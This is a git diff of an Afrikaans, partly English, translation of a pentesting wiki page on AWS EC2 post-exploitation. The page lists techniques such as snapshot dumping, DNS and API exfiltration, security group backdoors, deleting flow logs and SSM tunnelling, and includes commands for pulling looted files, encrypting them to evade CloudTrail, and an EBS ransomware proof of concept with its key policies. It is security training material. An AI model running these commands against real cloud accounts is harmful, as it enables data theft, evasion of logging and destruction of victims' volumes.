VPC traffic mirroring dupliseer inkomende en uitgaande verkeer vir EC2 instances binne 'n VPC sonder dat daar iets op die instances self geïnstalleer hoef te word. Hierdie gedupliseerde verkeer word gewoonlik na iets soos 'n network intrusion detection system (IDS) gestuur vir ontleding en monitering.\
|
||||
'n Aanvaller kan dit misbruik om al die verkeer vas te vang en sensitiwe inligting daaruit te bekom:
|
||||
VPC traffic mirroring **dupliceer inkomende en uitgaande verkeer vir EC2 instances binne 'n VPC** sonder die behoefte om enigiets op die instances self te installeer. Hierdie gedupliseerde verkeer word gewoonlik na iets soos 'n network intrusion detection system (IDS) gestuur vir ontleding en monitering. 'n attacker kan dit misbruik om al die verkeer vas te vang en sensitiewe inligting daaruit te verkry:
|
||||
|
||||
Vir meer inligting, sien hierdie bladsy:
|
||||
|
||||
@@ -21,9 +20,9 @@ Vir meer inligting, sien hierdie bladsy:
|
||||
aws-malicious-vpc-mirror.md
|
||||
{{#endref}}
|
||||
|
||||
### Kopieer lopende Instance
|
||||
### Copy Running Instance
|
||||
|
||||
Instances bevat gewoonlik sensitiwe inligting. Daar is verskillende maniere om binne te kom (sien [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Nog 'n manier om te kyk wat dit bevat, is om **'n AMI te skep en 'n nuwe instance (selfs in jou eie rekening) daarvan te laat loop**:
|
||||
Instances bevat gewoonlik 'n soort sensitiewe inligting. Daar is verskillende maniere om binne te kom (kyk na [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). 'n Ander manier om te sien wat dit bevat is om **skep 'n AMI en start 'n nuwe instance (selfs in jou eie rekening) daarvandaan**:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -49,8 +48,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Snapshots are backups of volumes**, wat gewoonlik **gevoelige inligting** sal bevat, daarom behoort die nagaan daarvan hierdie inligting te openbaar.\
|
||||
As jy 'n **volume without a snapshot** vind, kan jy: **Create a snapshot** en die volgende aksies uitvoer of dit bloot **mount it in an instance** binne die rekening:
|
||||
**Snapshots are backups of volumes**, wat gewoonlik **sensitive information** sal bevat, daarom behoort die nagaan daarvan hierdie inligting te openbaar.\
|
||||
As jy 'n **volume without a snapshot** vind, kan jy: **Create a snapshot** en die volgende aksies uitvoer of dit net **mount it in an instance** binne die account:
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
@@ -58,7 +57,7 @@ aws-ebs-snapshot-dump.md
|
||||
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
|
||||
Exporteer 'n EC2 AMI direk na S3 met `CreateStoreImageTask` om 'n rou skyfbeeld te kry sonder snapshot sharing. Dit maak volledige offline forensiese ondersoek of data-diefstal moontlik terwyl die instance se netwerking onaangeraak bly.
|
||||
Export an EC2 AMI straight to S3 using `CreateStoreImageTask` to obtain a raw disk image without snapshot sharing. Dit maak volle offline forensics of data theft moontlik terwyl die instance networking onaangeroer bly.
|
||||
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
@@ -66,7 +65,7 @@ aws-ami-store-s3-exfiltration.md
|
||||
|
||||
### Live Data Theft via EBS Multi-Attach
|
||||
|
||||
Koppel 'n io1/io2 Multi-Attach volume aan 'n tweede instance en mount dit read-only om live data af te tap sonder snapshots. Nuttig wanneer die slagoffer-volume reeds Multi-Attach binne dieselfde AZ geaktiveer het.
|
||||
Attach an io1/io2 Multi-Attach volume to a second instance and mount it read-only to siphon live data without snapshots. Nuttig wanneer die victim volume reeds Multi-Attach binne dieselfde AZ geaktiveer het.
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-multi-attach-data-theft.md
|
||||
@@ -74,7 +73,7 @@ aws-ebs-multi-attach-data-theft.md
|
||||
|
||||
### EC2 Instance Connect Endpoint Backdoor
|
||||
|
||||
Skep 'n EC2 Instance Connect Endpoint, authorize ingress, en injekteer ephemeral SSH keys om private instances oor 'n managed tunnel te bereik. Gee vinnige lateral movement paaie sonder om publieke porte te open.
|
||||
Create an EC2 Instance Connect Endpoint, authorize ingress, and inject ephemeral SSH keys to access private instances over a managed tunnel. Verleen vinnige lateral movement paaie sonder om publieke poorte oop te maak.
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
@@ -82,7 +81,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
|
||||
Skuif 'n slagoffer ENI se secondary private IP na 'n attacker-controlled ENI om vertroude hosts te imiteer wat per IP allowlisted is. Dit maak dit moontlik om interne ACLs of SG rules wat aan spesifieke adresse gekoppel is te omseil.
|
||||
Move a victim ENI’s secondary private IP to an attacker-controlled ENI to impersonate trusted hosts that are allowlisted by IP. Dit maak dit moontlik om interne ACLs of SG rules wat aan spesifieke adresse gekoppel is, te omseil.
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
@@ -90,7 +89,7 @@ aws-eni-secondary-ip-hijack.md
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
|
||||
Hervassosieer 'n Elastic IP van die slagoffer-instance na die aanvaller om inkomende verkeer te onderskep of uitgaande verbindings te begin wat lyk asof dit van vertroude openbare IPs afkomstig is.
|
||||
Reassociate an Elastic IP from the victim instance to the attacker to intercept inbound traffic or originate outbound connections that appear to come from trusted public IPs.
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
@@ -98,7 +97,7 @@ aws-eip-hijack-impersonation.md
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
As 'n security group rule na 'n customer-managed prefix list verwys, brei die toevoeging van attacker CIDRs by die lys stilletjies die toegang oor elke afhanklike SG rule uit sonder om die SG self te verander.
|
||||
If a security group rule references a customer-managed prefix list, adding attacker CIDRs to the list silently expands access across every dependent SG rule without modifying the SG itself.
|
||||
|
||||
{{#ref}}
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
@@ -106,7 +105,7 @@ aws-managed-prefix-list-backdoor.md
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
|
||||
Skep gateway of interface VPC endpoints om weer outbound toegang vanaf geïsoleerde subnets te kry. Die benutting van AWS-managed private links omseil ontbrekende IGW/NAT kontroles vir data exfiltration.
|
||||
Create gateway or interface VPC endpoints to regain outbound access from isolated subnets. Leveraging AWS-managed private links bypasses missing IGW/NAT controls for data exfiltration.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
@@ -114,12 +113,12 @@ aws-vpc-endpoint-egress-bypass.md
|
||||
|
||||
### `ec2:AuthorizeSecurityGroupIngress`
|
||||
|
||||
'n aanvaller met die ec2:AuthorizeSecurityGroupIngress permission kan inbound rules by security groups voeg (byvoorbeeld die toelating van tcp:80 vanaf 0.0.0.0/0), en sodoende interne dienste blootstel aan die public Internet of andersins ongemagtigde netwerke.
|
||||
An attacker with the ec2:AuthorizeSecurityGroupIngress permission can add inbound rules to security groups (for example, allowing tcp:80 from 0.0.0.0/0), thereby exposing internal services to the public Internet or to otherwise unauthorized networks.
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
```
|
||||
# `ec2:ReplaceNetworkAclEntry`
|
||||
'n Aanvaller met ec2:ReplaceNetworkAclEntry (of soortgelyke) regte kan die subnet se Network ACLs (NACLs) wysig om hulle baie permissief te maak — byvoorbeeld deur 0.0.0.0/0 op kritieke poorte toe te laat — en sodoende die hele subnet-reeks aan die Internet of aan ongemagtigde netwerksegmente bloot te stel. Anders as Security Groups, wat per-instance toegepas word, word NACLs op subnetvlak toegepas, so die verandering van 'n beperkende NACL kan 'n baie groter slagveldstraal hê deur toegang tot baie meer hosts moontlik te maak.
|
||||
’ n Aanvaller met ec2:ReplaceNetworkAclEntry (of soortgelyke) permissies kan die subnet se Network ACLs (NACLs) wysig om dit baie permissief te maak — byvoorbeeld deur 0.0.0.0/0 op kritieke poorte toe te laat — en sodoende die hele subnet-reeks aan die Internet of aan onbevoegde netwerksegmente bloot te stel. Anders as Security Groups, wat per-instance toegepas word, word NACLs op subnet level toegepas, so om ’n beperkende NACL te verander kan ’n baie groter blast radius hê deur toegang tot baie meer hosts moontlik te maak.
|
||||
```bash
|
||||
aws ec2 replace-network-acl-entry \
|
||||
--network-acl-id <ACL_ID> \
|
||||
@@ -131,7 +130,7 @@ aws ec2 replace-network-acl-entry \
|
||||
```
|
||||
### `ec2:Delete*`
|
||||
|
||||
'n Aanvaller met ec2:Delete* en iam:Remove* toestemmings kan kritieke infrastruktuurbronne en -konfigurasies verwyder — byvoorbeeld key pairs, launch templates/versions, AMIs/snapshots, volumes of attachments, security groups of rules, ENIs/network endpoints, route tables, gateways, of managed endpoints. Dit kan onmiddellike diensonderbreking, data verlies, en verlies van forensiese bewyse veroorsaak.
|
||||
'n aanvaller met ec2:Delete* en iam:Remove* regte kan kritieke infrastruktuurhulpbronne en konfigurasies uitvee — byvoorbeeld key pairs, launch templates/versions, AMIs/snapshots, volumes of attachments, security groups of rules, ENIs/network endpoints, route tables, gateways, of managed endpoints. Dit kan onmiddellike diensonderbreking, dataverlies, en verlies van forensiese bewyse tot gevolg hê.
|
||||
|
||||
One example is deleting a security group:
|
||||
|
||||
@@ -140,7 +139,7 @@ aws ec2 delete-security-group \
|
||||
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
|
||||
Wys VPC Flow Logs na 'n attacker-controlled S3 bucket om netwerkmetadata (source/destination, ports) deurlopend buite die slagoffer rekening te versamel vir langtermyn reconnaissance.
|
||||
Wys VPC Flow Logs na 'n attacker-controlled S3 bucket om netwerkmetadata (source/destination, ports) buite die victim account deurlopend in te samel vir long-term reconnaissance.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
@@ -150,9 +149,9 @@ aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
|
||||
#### DNS Exfiltration
|
||||
|
||||
Selfs as jy 'n EC2 toesluit sodat geen verkeer kan uitgaan nie, kan dit steeds **exfil via DNS**.
|
||||
Selfs as jy 'n EC2 toemaak sodat geen verkeer kan uitgaan nie, kan dit steeds **exfil via DNS**.
|
||||
|
||||
- **VPC Flow Logs sal dit nie rekordeer nie**.
|
||||
- **VPC Flow Logs sal dit nie opneem nie**.
|
||||
- Jy het geen toegang tot AWS DNS logs nie.
|
||||
- Deaktiveer dit deur "enableDnsSupport" op false te stel met:
|
||||
|
||||
@@ -160,20 +159,20 @@ Selfs as jy 'n EC2 toesluit sodat geen verkeer kan uitgaan nie, kan dit steeds *
|
||||
|
||||
#### Exfiltration via API calls
|
||||
|
||||
'n aanvaller kan API endpoints van 'n rekening wat hy beheer aanroep. Cloudtrail sal hierdie oproepe log en die aanvaller sal die exfiltrate data in die Cloudtrail logs kan sien.
|
||||
'n aanvaller kan API endpoints van 'n account wat hy beheer, aanroep. Cloudtrail sal hierdie calls log en die aanvaller sal die exfiltrate data in die Cloudtrail logs kan sien.
|
||||
|
||||
### Open Security Group
|
||||
|
||||
Jy kan verdere toegang tot netwerkdienste kry deur poorte so oop te maak:
|
||||
Jy kan verdere toegang tot netwerkdienste kry deur poorte so te open:
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
```
|
||||
### Privesc na ECS
|
||||
### Privesc to ECS
|
||||
|
||||
Dit is moontlik om 'n EC2-instansie te laat loop en dit te registreer sodat dit gebruik kan word om ECS-instansies te laat loop, en dan die ECS-instansies se data te steel.
|
||||
Dit is moontlik om 'n EC2-instance te laat loop en dit te registreer sodat dit gebruik kan word om ECS-instances te laat loop en dan die ECS-instances se data te steel.
|
||||
|
||||
Vir [**meer inligting, sien dit hier**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
Vir [**meer inligting sien hier**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
|
||||
### Verwyder VPC flow logs
|
||||
```bash
|
||||
@@ -181,68 +180,68 @@ aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```
|
||||
### SSM Port Forwarding
|
||||
|
||||
Vereiste permissies:
|
||||
Benodigde toestemmings:
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
Benewens command-uitvoering, laat SSM toe vir traffic tunneling wat misbruik kan word om te pivot vanaf EC2 instances wat nie netwerktoegang het nie as gevolg van Security Groups of NACLs.
|
||||
Een van die scenario's waar dit nuttig is, is om te pivot vanaf 'n [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) na 'n private EKS cluster.
|
||||
Benewens opdraguitvoering, laat SSM traffic tunneling toe, wat misbruik kan word om te pivot vanaf EC2-instanse wat geen netwerktoegang het nie weens Security Groups of NACLs.
|
||||
Een van die scenario's waarin dit nuttig is, is om te pivot vanaf 'n [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) na 'n private EKS cluster.
|
||||
|
||||
> Om 'n sessie te begin, moet die SessionManagerPlugin geïnstalleer wees: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
> Om 'n sessie te begin benodig jy die SessionManagerPlugin geïnstalleer: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
1. Installeer die SessionManagerPlugin op jou masjien
|
||||
2. Teken in op die Bastion EC2 met die volgende opdrag:
|
||||
2. Meld aan by die Bastion EC2 met die volgende opdrag:
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. Kry die Bastion EC2 AWS tydelike credentials met die [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) skrip
|
||||
4. Skuif die credentials na jou eie masjien in die `$HOME/.aws/credentials` lêer as die `[bastion-ec2]` profiel
|
||||
5. Teken in by EKS as die Bastion EC2:
|
||||
3. Kry die Bastion EC2 AWS tydelike inlogbewyse met die [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) skrip
|
||||
4. Dra die inlogbewyse oor na jou eie masjien in die `$HOME/.aws/credentials`-lêer as die `[bastion-ec2]` profiel
|
||||
5. Meld aan by EKS as die Bastion EC2:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
```
|
||||
6. Werk die `server`-veld in die `$HOME/.kube/config` lêer by om na `https://localhost` te wys
|
||||
7. Skep 'n SSM-tunnel soos volg:
|
||||
6. Werk die `server`-veld in die `$HOME/.kube/config`-lêer by om na `https://localhost` te wys
|
||||
7. Skep 'n SSM tunnel soos volg:
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
8. Die verkeer van die `kubectl`-tool word nou deur die SSM-tunnel via die Bastion EC2 gelei en jy kan die privaat EKS-kluster vanaf jou eie masjien bereik deur die volgende uit te voer:
|
||||
8. Die verkeer van die `kubectl`-hulpmiddel word nou deur die SSM-tonnel via die Bastion EC2 gestuur, en jy kan die private EKS-kluster vanaf jou eie masjien bereik deur die volgende uit te voer:
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Let wel dat SSL-verbindinge sal misluk tensy jy die `--insecure-skip-tls-verify ` vlag stel (of die ekwivalent in K8s audit tools). Aangesien die verkeer deur die veilige AWS SSM-tunnel getonnel word, is jy beskerm teen enige vorm van MitM-aanvalle.
|
||||
Let wel dat die SSL-verbindinge sal misluk tensy jy die `--insecure-skip-tls-verify` vlag stel (of sy ekwivalent in K8s-auditgereedskap). Aangesien die verkeer deur die veilige AWS SSM-tonnel gelei word, is jy veilig teen enige vorm van MitM-aanvalle.
|
||||
|
||||
Laastens, hierdie tegniek is nie beperk tot die aanval op privaat EKS-klusters nie. Jy kan arbitrêre domeine en poorte instel om te pivot na enige ander AWS-diens of 'n aangepaste toepassing.
|
||||
Laastens, hierdie tegniek is nie spesifiek vir die aanval van privaat EKS-klusters nie. Jy kan arbitrêre domeine en poorte instel om na enige ander AWS-diens of 'n pasgemaakte toepassing te pivot.
|
||||
|
||||
---
|
||||
|
||||
#### Vinnige Lokale ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
|
||||
#### Vinnige Plaaslike ↔️ Afgeleë Port Forward (AWS-StartPortForwardingSession)
|
||||
|
||||
As jy slegs een TCP-poort vanaf die EC2-instansie na jou lokale host hoef te forward, kan jy die `AWS-StartPortForwardingSession` SSM dokument gebruik (geen remote host parameter benodig nie):
|
||||
As jy slegs een TCP-poort van die EC2-instansie na jou plaaslike gasheer hoef deur te stuur, kan jy die `AWS-StartPortForwardingSession` SSM-dokument gebruik (geen remote host-parameter benodig):
|
||||
```bash
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
Die opdrag stel 'n tweerigting tonnel in tussen jou werksstasie (`localPortNumber`) en die geselekteerde poort (`portNumber`) op die instansie **sonder om enige inkomende Security-Group-reëls oop te maak**.
|
||||
Die opdrag stel 'n bidirectionele tonnel tussen jou werkstasie (`localPortNumber`) en die geselekteerde poort (`portNumber`) op die instansie **sonder om enige inkomende Security-Group rules oop te maak**.
|
||||
|
||||
Algemene gebruiksgevalle:
|
||||
|
||||
* **File exfiltration**
|
||||
1. Op die instansie begin 'n vinnige HTTP-server wat na die gids wys wat jy wil exfiltrate:
|
||||
1. Op die instansie begin 'n vinnige HTTP server wat na die gids wys wat jy wil exfiltrate:
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8000
|
||||
```
|
||||
|
||||
2. Vanaf jou werksstasie haal die lêers deur die SSM-tonnel:
|
||||
2. Vanaf jou werkstasie haal die lêers deur die SSM tunnel:
|
||||
|
||||
```bash
|
||||
curl http://localhost:8000/loot.txt -o loot.txt
|
||||
```
|
||||
|
||||
* **Toegang tot interne webtoepassings (bv. Nessus)**
|
||||
* **Toegang tot interne webtoepassings (e.g. Nessus)**
|
||||
```bash
|
||||
# Forward remote Nessus port 8834 to local 8835
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
@@ -250,7 +249,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
Wenk: Komprimeer en enkripteer bewyse voordat jy dit exfiltrating, sodat CloudTrail nie die clear-text inhoud log nie:
|
||||
Wenk: Komprimeer en enkripteer bewyse voordat jy dit exfiltrating sodat CloudTrail nie die clear-text inhoud log nie:
|
||||
```bash
|
||||
# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
@@ -259,9 +258,9 @@ Wenk: Komprimeer en enkripteer bewyse voordat jy dit exfiltrating, sodat CloudTr
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### Soek sensitiewe inligting in openbare en private AMIs
|
||||
### Soek sensitiewe inligting in openbare en privaat AMIs
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel is 'n tool ontwerp om **soek sensitiewe inligting binne openbare of private Amazon Machine Images (AMIs)**. Dit outomatiseer die proses om instances vanaf target AMIs te launch, hul volumes te mount, en te scan vir potensiële secrets of sensitiewe data.
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel is 'n hulpmiddel ontwerp om **sensitiewe inligting binne openbare of privaat Amazon Machine Images (AMIs) te soek**. Dit outomatiseer die proses om instances vanaf geteikende AMIs te launch, hul volumes te mount, en te scan vir potensiële secrets of sensitiewe data.
|
||||
|
||||
### Deel EBS Snapshot
|
||||
```bash
|
||||
@@ -269,9 +268,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
'n bewys van konsep (PoC) soortgelyk aan die Ransomware-demonstrasie in die S3 post-exploitation notes. KMS behoort hernoem te word na RMS (Ransomware Management Service) weens hoe maklik dit is om verskeie AWS-dienste daarmee te enkripteer.
|
||||
'n Proof of concept soortgelyk aan die Ransomware-demonstrasie in die S3 post-exploitation notes. KMS behoort hernoem te word na RMS vir Ransomware Management Service aangesien dit so maklik is om te gebruik om verskeie AWS-dienste daarmee te enkripteer.
|
||||
|
||||
Eerstens, vanaf 'attacker' AWS account, skep 'n customer managed key in KMS. Vir hierdie voorbeeld sal ons AWS net die sleuteldata bestuur, maar in 'n realistiese scenario sou 'n malicious actor die sleuteldata buite AWS' beheer behou. Verander die key policy om enige AWS account Principal toe te laat om die sleutel te gebruik. Vir hierdie key policy was die account's name 'AttackSim' en die policy rule wat alle toegang toelaat, word 'Outside Encryption' genoem.
|
||||
Eerstens, vanaf 'attacker' AWS account, skep 'n customer managed key in KMS. Vir hierdie voorbeeld sal ons net AWS die key data laat bestuur, maar in 'n realistiese scenario sou 'n malicious actor die key data buite AWS' control hou. Verander die key policy om enige AWS account Principal toe te laat om die key te gebruik. Vir hierdie key policy was die rekening se naam 'AttackSim' en die policy rule wat alle toegang toelaat word 'Outside Encryption' genoem.
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -363,7 +362,7 @@ Eerstens, vanaf 'attacker' AWS account, skep 'n customer managed key in KMS. Vir
|
||||
]
|
||||
}
|
||||
```
|
||||
Die sleutelbeleid-reël benodig die volgende aangeskakel om die vermoë te hê om dit te gebruik om `n EBS` volume te enkripteer:
|
||||
Die sleutelbeleidreël benodig die volgende geaktiveer om die vermoë te hê om dit te gebruik om 'n EBS-volume te enkripteer:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -371,21 +370,21 @@ Die sleutelbeleid-reël benodig die volgende aangeskakel om die vermoë te hê o
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Nou met die publiek-toeganklike sleutel om te gebruik. Ons kan `n 'victim' account` gebruik wat 'n paar EC2-instanse opgeroep het met nie-gekodeerde EBS-volumes aangeheg. Hierdie `victim` account se EBS-volumes is wat ons teiken vir enkripsie; hierdie aanval is onder die veronderstelde oortreding van 'n hoë-privilegie AWS account.
|
||||
Nou met die publiek toeganklike sleutel om te gebruik. Ons kan 'n 'victim' rekening gebruik wat 'n paar EC2-instances het wat opgestel is met onversleutelde EBS-volumes aangeheg. Die EBS-volumes van hierdie 'victim' rekening is wat ons teiken vir enkripsie; hierdie aanval vind plaas onder die veronderstelde inbreuk van 'n hoë-privilegie AWS-rekening.
|
||||
|
||||
 
|
||||
|
||||
Soortgelyk aan die S3 ransomware voorbeeld. Hierdie aanval sal kopieë van die aangehegte EBS-volumes skep met behulp van snapshots, die publiek beskikbare sleutel van die `attacker` account gebruik om die nuwe EBS-volumes te enkripteer, dan die oorspronklike EBS-volumes van die EC2-instanse loskoppel en uitvee, en uiteindelik die snapshots verwyder wat gebruik is om die nuut-enkodeerde EBS-volumes te skep. 
|
||||
Soortgelyk aan die S3 ransomware example. Hierdie aanval sal kopieë van die aangehegte EBS-volumes skep deur gebruik te maak van snapshots, die publiek beskikbare sleutel van die 'attacker' rekening gebruik om die nuwe EBS-volumes te enkripteer, dan die oorspronklike EBS-volumes van die EC2-instances loskoppel en uitvee, en uiteindelik die snapshots verwyder wat gebruik is om die nuut-gekodeerde EBS-volumes te skep. 
|
||||
|
||||
Dit lei daartoe dat slegs enkripteerde EBS-volumes in die account beskikbaar oorbly.
|
||||
Dit lei daartoe dat slegs geënkripteerde EBS-volumes in die rekening beskikbaar oorbly.
|
||||
|
||||
|
||||
|
||||
Verder is dit die moeite werd om te noem dat die skrip die EC2-instanse gestop het om die oorspronklike EBS-volumes los te koppel en uit te vee. Die oorspronklike nie-gekodeerde volumes is nou weg.
|
||||
Ook noemenswaardig: die skrip het die EC2-instances stopgesit om die oorspronklike EBS-volumes los te koppel en uit te vee. Die oorspronklike onversleutelde volumes is nou weg.
|
||||
|
||||
|
||||
|
||||
Gaan dan terug na die sleutelbeleid in die `attacker` account en verwyder die `Outside Encryption` policy rule uit die sleutelbeleid.
|
||||
Volgende, keer terug na die sleutelbeleid in die 'attacker' rekening en verwyder die 'Outside Encryption' beleidsreël uit die sleutelbeleid.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -456,15 +455,15 @@ Gaan dan terug na die sleutelbeleid in die `attacker` account en verwyder die `O
|
||||
]
|
||||
}
|
||||
```
|
||||
Wag 'n oomblik totdat die pas gestelde sleutelbeleid versprei. Keer dan terug na die 'victim' account en probeer om een van die pas-geënkripteerde EBS volumes aan te heg. Jy sal vind dat jy die volume kan aanheg.
|
||||
Wag 'n oomblik totdat die nuut ingestelde sleutelbeleid versprei. Keer dan terug na die 'victim' rekening en probeer om een van die pas-versleutelde EBS-volumes aan te heg. Jy sal vind dat jy die volume kan aanheg.
|
||||
|
||||
 
|
||||
|
||||
Maar wanneer jy probeer om die EC2 instance weer te begin met die geënkripteerde EBS volume, sal dit net misluk en van die 'pending' state terug na die 'stopped' state gaan vir ewig, aangesien die aangehegte EBS volume nie met die sleutel ontsleutel kan word nie omdat die sleutelbeleid dit nie meer toelaat nie.
|
||||
Maar wanneer jy probeer om die EC2-instance werklik weer op te start met die versleutelde EBS-volume, sal dit net misluk en van die 'pending' toestand teruggaan na die 'stopped' toestand vir ewig, omdat die aangehegte EBS-volume nie met die sleutel gedekripteer kan word nie aangesien die sleutelbeleid dit nie meer toelaat.
|
||||
|
||||
 
|
||||
|
||||
Dit is die python skrip wat gebruik is. Dit neem AWS creds vir 'n 'victim' account en 'n publiek beskikbare AWS ARN waarde vir die sleutel wat vir enkripsie gebruik gaan word. Die skrip sal geënkripteerde kopieë maak van AL die beskikbare EBS volumes wat aan AL die EC2 instances in die geteikende AWS account gekoppel is, dan elke EC2 instance stop, die oorspronklike EBS volumes loskoppel, dit verwyder, en uiteindelik al die snapshots wat tydens die proses gebruik is verwyder. Dit sal slegs geënkripteerde EBS volumes in die geteikende 'victim' account loslaat. GEBRUIK HIERDIE SKRIP SLEGS IN 'N TOETSOMGEWING, DIT IS DESTRUKTIEF EN SAL AL DIE ORIGINELE EBS VOLUMES VERWYDER. Jy kan hulle herstel deur die gebruikte KMS key te gebruik en hulle via snapshots na hul oorspronklike toestand te herstel, maar ek wil jou net bewus maak dat dit uiteindelik 'n ransomware PoC is.
|
||||
Dit is die python-skrip wat gebruik is. Dit neem AWS creds vir 'n 'victim' rekening en 'n publiek beskikbare AWS ARN-waarde vir die sleutel wat vir enkripsie gebruik gaan word. Die skrip sal versleutelde kopieë maak van ALLE beskikbare EBS-volumes wat aan ALLE EC2-instances in die geteikende AWS-rekening aangeheg is, dan elke EC2-instance stop, die oorspronklike EBS-volumes loskoppel, dit verwyder, en uiteindelik al die snapshots wat tydens die proses gebruik is, verwyder. Dit sal slegs versleutelde EBS-volumes in die geteikende 'victim' rekening oorlaat. GEBRUIK HIERDIE SKRIP SLEGS IN 'N TEST-OMGEWING, DIT IS DESTRUKTIEF EN SAL AL DIE OORSPRONKLIKE EBS-VOLUMES VERWYDER. Jy kan dit herstel deur die gebruikte KMS-sleutel te gebruik en dit via snapshots na hul oorspronklike toestand te herstel, maar ek wil net hê jy moet bewus wees dat dit uiteindelik 'n ransomware PoC is.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
@@ -583,6 +582,6 @@ main()
|
||||
```
|
||||
## Verwysings
|
||||
|
||||
- [Pentest Partners – Hoe om lêers in AWS met behulp van SSM oor te dra](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+26
-28
@@ -12,15 +12,15 @@ Vir meer inligting oor IAM-toegang:
|
||||
|
||||
## Confused Deputy Problem
|
||||
|
||||
As jy **allow an external account (A)** om toegang tot 'n **role** in jou rekening te hê, sal jy waarskynlik **0 visibility** hê oor **wie presies daardie external account kan toegang gee**. Dit is 'n probleem, want as 'n ander external account (B) toegang tot external account (A) het, is dit moontlik dat **B ook toegang tot jou account sal kry**.
|
||||
